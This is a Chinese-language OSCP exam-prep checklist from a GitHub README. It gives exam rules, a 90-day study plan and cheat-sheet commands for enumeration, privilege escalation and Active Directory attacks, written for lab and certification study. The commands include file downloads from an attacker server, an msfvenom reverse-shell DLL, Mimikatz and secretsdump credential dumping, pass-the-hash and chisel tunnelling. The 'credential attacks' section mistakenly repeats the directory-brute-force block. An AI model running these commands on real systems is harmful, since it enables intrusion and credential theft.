jeffaf/oscp-prep-checklist

GitHub: jeffaf/oscp-prep-checklist

一份结构化 OSCP 备考与实战检查清单,解决如何系统化准备考试并高效完成渗透路径的问题。

Stars: 58 | Forks: 13

# OSCP 准备清单 **作者:Jeff Barron (OSCP, CRTO)** ## 📊 考试结构 - **3 台独立机器**(共 60 分) - 初始访问 10 分 - 权限提升 10 分 - **1 套 AD 环境**(包含 3 台机器,共 40 分) - **70/100 分及格** - **考试时长 23 小时 45 分钟** - **可重置 24 次(最多重置一次限制)** **通过组合:** - 完整 AD(40 分)+ 3 个 local.txt 标志(30 分)= 70 ✅ - 完整 AD(40 分)+ 2 个 local.txt + 1 个 proof.txt = 70 ✅ - 部分 AD(20 分)+ 3 台完整独立机器(60 分)= 80 ✅ ## 📸 证明文件要求(不要丢分!) - **local.txt** = 无特权用户访问 - **proof.txt** = 仅 root/Administrator 可访问 **每一张截图必须包含:** 1. 证明文件内容(`cat proof.txt` 或 `type proof.txt`) 2. IP 地址(`ip addr` 或 `ipconfig`) 3. **在同一张截图内** 4. 来自**交互式 Shell**(Web Shell 得分为零) ## 📅 90 天学习计划 ### 第一个月:基础 - [ ] 完成 OffSec PEN-200 课程资料 - [ ] 设置你的攻击虚拟机(Kali)并建立笔记系统 - [ ] 每天观看 IppSec 视频,同时进行其他任务 - [ ] 开始 TJ Null 的播放列表:https://youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf - [ ] 在 Proving Grounds Practice 上练习 10–15 个简单靶机 - [ ] 加入 r/oscp,阅读通过/失败案例以获取洞见 ### 第二个月:中级技能 - [ ] 专注 Proving Grounds **中级**靶机(OffSec 出品) - [ ] 构建你的枚举方法并使其可重复 - [ ] 熟悉 Active Directory 攻击 - [ ] 练习使用 chisel 和 SSH 隧道进行 pivoting - [ ] **创建你自己的速查表。** 最好的速查表是你自己写的: - 枚举速查表(常用命令) - 权限提升速查表(Windows + Linux) - 通用参考(文件传输、Shell、Pivoting) ### 第三个月:OSCP 准备就绪 - [ ] 如果能在不依赖 walkthrough 的情况下通过 PG 中级靶机,你已准备好 - [ ] 练习报告撰写。不要等到考试当天才做 - [ ] 学习使用截图工具(Snipping Tool)或获取 Greenshot - [ ] 复习笔记中的薄弱环节 - [ ] 安排考试时间 ## 🚫 不建议学习的内容 进攻性安全范围广泛,容易让人不知所措。请专注于 PEN-200 涵盖的内容,跳过以下部分: - **高级 AD 攻击**(坚持基础) - **钓鱼攻击**(考试不涉及) - **EDR/AV 绕过**(靶机不会安装 EDR 或 AV) - **网络攻击**(Responder、ARP 欺骗、bettercap) - **Metasploit 深入模块**(不需要模块级别的使用) **兔子洞警告:** 如果你修改一个利用脚本,仅仅是更改 IP 地址以外的东西,那你正在进入兔子洞。请继续前进。 ## ⚠️ 考试限制 **Metasploit 规则:** - `msfvenom` + `multi/handler` = 在所有靶机上允许 - 模块(Auxiliary/Exploit/Post)+ Meterpreter = 仅限**一台**靶机 - 一旦对某个目标使用模块,就被锁定到该目标 - 不得用于 pivoting(会触及多个目标) **禁用工具:** - SQLmap、SQLninja、自动利用工具 - 大规模扫描器(Nessus、OpenVAS 等) - AI 聊天机器人(ChatGPT、OffSec KAI 等) - 商业工具(Burp Pro、Metasploit Pro 等) ## 🛠️ 必备工具 ### 枚举 ``` # 端口扫描 nmap -sC -sV -oN scan.txt nmap -p- --min-rate 1000 # SMB netexec smb -u '' -p '' smbclient -L /// -N smbmap -H # LDAP ldapsearch -x -H ldap:// -b "DC=domain,DC=local" # SNMP snmp-check ``` ### Web ``` # 目录爆破 feroxbuster -u http:// -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # 了解你的 Webshell ls /usr/share/webshells/ # php, asp, aspx, jsp:了解何时使用 ``` ### 文件传输 ``` # HTTP 服务器(攻击者) python3 -m http.server 80 # SMB 服务器(攻击者) impacket-smbserver share . -smb2support # Windows 下载 certutil -urlcache -f http:///file.exe file.exe powershell -c "(New-Object Net.WebClient).DownloadFile('http:///file.exe','file.exe')" iwr -uri http:///file.exe -outfile file.exe # Linux 下载 wget http:///file.sh curl http:///file.sh -o file.sh ``` ### Impacket 套件(需掌握) ``` psexec domain/user:password@ wmiexec domain/user:password@ smbexec domain/user:password@ secretsdump domain/user:password@ GetUserSPNs -request domain/user:password -dc-ip ``` ### netexec ``` netexec smb -u user -p pass netexec smb -u user -p pass --shares netexec smb -u user -p pass -x "whoami" netexec smb -u user -H # pass the hash netexec winrm -u user -p pass ``` ### RDP 与 winrm(会看到) ``` # RDP xfreerdp /u:username /p:'password' /v: # Evil-WinRM(端口 5985) evil-winrm -i -u user -p pass evil-winrm -i -u user -p pass -S # port 5986 (SSL) evil-winrm -i -u user -H # pass the hash ``` ### SMB ``` # smbclient smbclient -L // # list shares smbclient /// smbclient /// -U smbclient /// -U domain/username # smbmap smbmap -H smbmap -H -u -p smbmap -H -u -p -d smbmap -H -u -p -r ``` ### LDAP 与 RPC ``` # ldapsearch ldapsearch -x -H ldap:// -b "DC=domain,DC=local" ldapsearch -x -H ldap:// -D "user@domain.local" -w 'pass' -b "DC=domain,DC=local" # rpcclient rpcclient -U="user" rpcclient -U="" # anonymous login ``` ### 漏洞利用查找器 ``` searchsploit searchsploit -m # copy to current dir ``` ### 反弹 Shell - **revshells.com**:适用于所有语言/格式的快速反弹 Shell 生成器 ## 🔍 枚举方法 ### 初始扫描 1. [ ] 全端口扫描:`nmap -p- --min-rate 1000 ` 2. [ ] 对开放端口进行服务扫描:`nmap -sC -sV -p ` 3. [ ] 检查低垂果实:匿名 FTP、SMB 空会话、默认凭据 ### Web(80/443) 1. [ ] 先手动浏览并查看源代码 2. [ ] 使用 feroxbuster/gobuster 进行目录爆破 3. [ ] 检查是否为 CMS(WordPress、Drupal 等)并运行特定扫描器 4. [ ] 测试 SQL 注入、LFI、文件上传漏洞 5. [ ] 检查 `/robots.txt`、`/.git/`、/backup/ 和 /api ### SMB(139/445) 1. [ ] 空会话:`netexec smb -u '' -p ''` 2. [ ] 列出共享:`smbclient -L /// -N` 3. [ ] 检查共享的读写权限 4. [ ] 枚举用户:`enum4linux -a ` ### Active Directory 1. [ ] 获取域信息:`ldapsearch` 或 `enum4linux` 2. [ ] 查找用户:kerbrute https://github.com/ropnop/kerbrute 3. 查找 SPN 以进行 Kerberoasting 4. 检查是否可进行 AS-REP 爆破 5. 如果有凭据,使用 BloodHound ## ⬆️ 权限提升 ### Windows 权限提升检查表 **现实提醒:** 通常只需运行 WinPEAS 或传递哈希即可。不要过度复杂化。 ``` # 首先 whoami /all net user systeminfo ``` 1. [ ] 运行 **WinPEAS**:`.\winpeas.exe` 2. [ ] 运行 **PowerUp**:`Import-Module .\PowerUp.ps1; Invoke-AllChecks` 3. [ ] 检查 PowerShell 历史记录:`C:\Users\\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` 4. [ ] 未加引号的服务路径 5. [ ] 可修改的服务 6. [ ] AlwaysInstallElevated 7. [ ] 存储的凭据:`cmdkey /list` 8. [ ] 令牌模拟(如果存在 SeImpersonate):PrintSpoofer、JuicyPotato、GodPotato 9. [ ] DLL 劫持(检查 WinPEAS 输出中的缺失 DLL) ``` # GodPotato GodPotato.exe -cmd "cmd /c whoami" GodPotato.exe -cmd "shell.exe" # msfvenom 用于 DLL 劫持 msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=4444 -f dll -o pwned.dll ``` ### Linux 权限提升检查表 ``` # 首先升级 Shell python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=xterm # Ctrl+Z,然后:stty raw -echo; fg ``` 1. [ ] 运行 **linpeas.sh** 2. [ ] 检查 sudo 权限:`sudo -l` 3. [ ] 查找 SUID 二进制文件:`find / -perm -u=s -type f 2>/dev/null` 4. [ ] 检查能力:`getcap -r / 2>/dev/null` 5. [ ] 检查计划任务:`cat /etc/crontab`,`ls /etc/cron.*` 6. [ ] 检查配置文件、历史记录、环境变量中的凭据 7. [ ] 检查 GTFOBins 中可利用的二进制文件 ## 🏢 Active Directory 攻击 ### 枚举 ``` # 用户和组 net user /domain net group /domain net group "Domain Admins" /domain # PowerView Import-Module .\PowerView.ps1 Get-NetUser Get-NetGroup Get-NetComputer # PowerView 速查表 https://gist.github.com/macostag/44591910288d9cc8a1ed6ea35ac4f30f ``` ### 凭据攻击 ``` # 目录爆破 feroxbuster -u http:// -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt # 了解你的 Webshell ls /usr/share/webshells/ # php, asp, aspx, jsp:了解何时使用 ``` ### 横向移动 ``` # 传递哈希 psexec -hashes : domain/user@ netexec smb -u user -H # 传递票据 export KRB5CCNAME=ticket.ccache psexec -k -no-pass domain/user@ ``` ### Mimikatz 必备 ``` privilege::debug sekurlsa::logonpasswords # dump creds sekurlsa::tickets /export # export tickets lsadump::sam # dump SAM ``` ## 🔀 横向移动与隧道 ### Chisel(反向 SOCKS 代理) ``` # 在攻击者(服务器)上 ./chisel server -p 9001 --reverse # 在目标(客户端)上 ./chisel client :9001 R:socks # 添加到 /etc/proxychains.conf socks5 127.0.0.1 1080 # 与 proxychains 一起使用 proxychains nmap -sT ``` ### SSH 隧道 ``` # 本地端口转发(本地访问远程服务) ssh -L 8080:127.0.0.1:80 user@ # 远程端口转发(将本地服务暴露给目标) ssh -R 9001:127.0.0.1:9001 user@ # 动态 SOCKS 代理 ssh -D 1080 user@ ``` ## 📝 考试日建议 ### 时间管理 - [ ] 你有 23 小时 45 分钟。合理使用。 - [ ] 不要在一个靶机上卡超过 2 小时 - [ ] 休息。感到沮丧时离开一下 - [ ] 边做边记录:截图、命令、输出 ### 考试策略 - [ ] 从独立靶机开始(不是 AD 套) - [ ] 先拿容易的分数 - [ ] AD 套通常占 40 分,不要忽略 - [ ] 如果卡住,更深入地枚举。你漏掉了什么 ### 报告撰写 - [ ] 使用 OffSec 报告模板 - [ ] 截图每一步作为利用证明 - [ ] 包含所有使用的命令 - [ ] 解释你的方法,而不仅仅是命令 - [ ] 提交前校对 ### 常见错误 - [ ] 枚举不彻底 - [ ] 忘记检查明显的内容(默认凭据、源代码) - [ ] 考试期间未做记录 - [ ] 惊慌。休息是可以的 ## 📤 报告提交 - **格式:** 密码保护的 .7z 文件中的 PDF(无密码) - **文件名:** `OSCP-OS-XXXXX-Exam-Report.7z`(将 XXXXX 替换为你的 OSID) - **截止时间:** 考试结束后 24 小时 - **上传:** https://upload.offsec.com - **验证:** 上传后检查 MD5 哈希值 - **模板:** 使用 OffSec 官方模板 **报告必须包含:** - 可重现的步骤说明(读者可复现) - 所有使用的命令 - 带有可见 IP 的证明文件截图 - 如果你修改了利用脚本:包含修改内容及解释 ## 📚 资源 ### 必备资源 - **IppSec TJ Null 播放列表**:https://youtube.com/playlist?list=PLidcsTyj9JXK-fnabFLVEvHinQ14Jy5tf - **Proving Grounds 练习**:专注于 OffSec 出品的中级靶机 - **r/oscp**:阅读通过/失败案例,提出问题 - **Orange Cyberdefense 思维导图**:https://orange-cyberdefense.github.io/ocd-mindmaps/ ### 快速参考 - **GTFOBins**:https://gtfobins.github.io/(Linux 权限提升) - **LOLBAS**:https://lolbas-project.github.io/(Windows 免杀) - **HackTricks**:https://book.hacktricks.xyz/ - **PayloadsAllTheThings**:https://github.com/swisskyrepo/PayloadsAllTheThings ## ✅ 准备就绪检查 在安排考试前,你能做到: - [ ] 在不依赖太多提示的情况下 Root 一个 PG 中级靶机? - [ ] 执行基本 AD 攻击(Kerberoasting、PTH、横向移动)? - [ ] 撰写带有截图和方法的整洁报告? - [ ] 在卡住时保持冷静并深入枚举? 如果以上都是:**预定考试。你已准备好。** **祝你好运。相信你的准备。你能行。** —— Jeff *我在 [Cred Relay](https://www.credrelay.com) 分享进攻性安全与 AI 相关内容。*
标签:Active Directory, AI合规, chisel, CTF学习, CTI, IppSec, OffSec, OSCP, PEN-200, Plaso, Proving Grounds, SEO: OSCP checklist, SEO: OSCP exam structure, SEO: OSCP methodology, SEO: OSCP prep, SSH隧道, TJ Null, 云存储安全, 内存分配, 内网渗透, 初始访问, 协议分析, 取证与证明, 口令破解, 备考, 复习资料, 学习计划, 安全认证, 实战演练, 应用安全, 报告编写, 攻击虚拟机, 权限提升, 枚举, 横向移动, 笔记系统, 编程规范, 网络扫描, 考试结构, 逆向工具